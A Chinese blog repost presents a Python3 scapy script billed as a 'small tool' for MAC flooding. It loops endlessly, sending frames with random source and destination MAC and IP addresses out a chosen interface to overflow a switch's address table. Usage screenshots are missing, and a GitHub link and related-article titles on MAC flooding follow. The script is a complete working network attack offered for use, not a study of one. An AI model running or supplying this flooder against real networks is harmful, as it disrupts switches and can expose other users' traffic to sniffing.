Python3 小工具-MAC泛洪

Posted zmqqq

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python3 小工具-MAC泛洪相关的知识,希望对你有一定的参考价值。

from scapy.all import *
import optparse

def attack(interface):
    pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
    sendp(pkt,iface=interface)

def main():
    parser=optparse.OptionParser("%prog "+"-i interface")
    parser.add_option(‘-i‘,dest=‘interface‘,default=‘eth0‘,type=‘string‘,help=‘Interface‘)
    (options,args)=parser.parse_args()
    interface=options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print(‘-------------‘)
        print(‘Finished!‘)
if __name__==‘__main__‘:
    main()

使用说明

技术图片

开始程序

技术图片

成功获取信息

技术图片

github:https://github.com/zmqq/pytools/tree/master/macof

以上是关于Python3 小工具-MAC泛洪的主要内容,如果未能解决你的问题,请参考以下文章

无线安全专题_攻击篇--MAC泛洪攻击

MAC泛洪攻击

MAC泛洪攻击的实施与防御

MAC安全(防MAC泛洪攻击)

Kali Linux—eNSP模拟交换机MAC地址泛洪攻击

微信小程序代码片段